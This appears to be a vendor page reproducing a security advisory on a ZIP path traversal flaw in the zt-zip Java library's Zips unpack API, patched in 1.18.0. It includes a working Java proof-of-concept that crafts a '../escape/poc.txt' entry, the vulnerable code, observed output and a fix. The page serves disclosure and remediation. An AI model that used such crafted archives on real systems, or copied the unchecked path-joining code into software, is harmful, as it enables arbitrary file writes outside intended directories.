
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: < 1.18.0
Patched in 1.18.0
Details
ZipUtil.unpack(...) rejects ZIP entries that escape the target output directory, but the Zips fluent API appears to use a separate unpack implementation that does not apply the same destination-boundary check.
A ZIP entry such as:
../escape/poc.txt
is written outside the configured destination directory when processed with:
Zips.get(zip).unpack().destination(outputDir).process();
The transformer branch is affected as well.
commit: 067935dca375500d3ff025aafcdf0e4283931b1a
In src/main/java/org/zeroturnaround/zip/Zips.java, Zips.UnpackingCallback.process(...) builds the output file directly from the ZIP entry name:
String entryName = zipEntry.getName();
File file = new File(destination, entryName);
The method then creates directories/files and copies content to that path:
FileUtils.forceMkdir(file.getParentFile());
file.createNewFile();
FileUtils.copy(in, file);
When a transformer is configured, the same file is passed to transformIntoFile(...).
There does not appear to be a canonical path check before these filesystem writes, so ../ entries can resolve outside destination.
import java.io.*;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.zip.*;
import org.zeroturnaround.zip.ZipUtil;
import org.zeroturnaround.zip.Zips;
import org.zeroturnaround.zip.transform.ZipEntryTransformer;
public class ZipsTraversalPoc {
public static void main(String[] args) throws Exception {
Path work = Files.createTempDirectory("ztzip-zips-poc");
Path zip = work.resolve("poc.zip");
Path escaped = work.resolve("escape").resolve("poc.txt");
String entryName = "../escape/poc.txt";
Files.createDirectories(escaped.getParent());
try (ZipOutputStream zos = new ZipOutputStream(Files.newOutputStream(zip))) {
zos.putNextEntry(new ZipEntry(entryName));
zos.write("plain branch\n".getBytes(StandardCharsets.UTF_8));
zos.closeEntry();
}
Path zipUtilOut = work.resolve("ziputil-out");
Files.createDirectories(zipUtilOut);
try {
ZipUtil.unpack(zip.toFile(), zipUtilOut.toFile());
System.out.println("ZIPUTIL_REJECTED=false");
}
catch (Throwable t) {
System.out.println("ZIPUTIL_REJECTED=" + t.getClass().getName());
}
System.out.println("ZIPUTIL_ESCAPED_EXISTS=" + Files.exists(escaped));
Files.deleteIfExists(escaped);
Path zipsOut = work.resolve("zips-out");
Files.createDirectories(zipsOut);
Zips.get(zip.toFile()).unpack().destination(zipsOut.toFile()).process();
System.out.println("ZIPS_PLAIN_ESCAPED_EXISTS=" + Files.exists(escaped));
System.out.println("ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=" + !escaped.normalize().startsWith(zipsOut.normalize()));
Files.deleteIfExists(escaped);
Path zipsTransformOut = work.resolve("zips-transform-out");
Files.createDirectories(zipsTransformOut);
Zips.get(zip.toFile())
.unpack()
.destination(zipsTransformOut.toFile())
.addTransformer(entryName, new ZipEntryTransformer() {
public void transform(InputStream in, ZipEntry entry, ZipOutputStream out) throws IOException {
out.putNextEntry(new ZipEntry(entry.getName()));
out.write("transform branch\n".getBytes(StandardCharsets.UTF_8));
out.closeEntry();
}
})
.process();
System.out.println("ZIPS_TRANSFORM_ESCAPED_EXISTS=" + Files.exists(escaped));
System.out.println("ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=" + !escaped.normalize().startsWith(zipsTransformOut.normalize()));
}
}
Observed output:
ZIPUTIL_REJECTED=org.zeroturnaround.zip.MaliciousZipException
ZIPUTIL_ESCAPED_EXISTS=false
ZIPS_PLAIN_ESCAPED_EXISTS=true
ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=true
ZIPS_TRANSFORM_ESCAPED_EXISTS=true
ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=true
Zips.get(zip).unpack().destination(outputDir).process() should reject traversal entries or otherwise ensure that the resolved output path remains inside outputDir.
Applications that unpack attacker-controlled ZIP files through the Zips fluent API may allow arbitrary file writes outside the intended extraction directory, depending on filesystem permissions and application layout.
Apply the same destination-boundary validation used by ZipUtil.unpack(...) before any filesystem write in Zips.UnpackingCallback.process(...).
For example, compare canonical Path values before creating directories or files:
file.getCanonicalFile().toPath()
.startsWith(destination.getCanonicalFile().toPath())
Regression tests should cover both:
Zips.get(zip).unpack().destination(out).process();
Zips.get(zip).unpack().destination(out).addTransformer(...).process();
EPSS, exploit probability
Low0.24%
estimated chance of real-world exploitation in the next 30 days, higher than 15.4% of every CVE FIRST.org scores
Refreshed 11/9/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.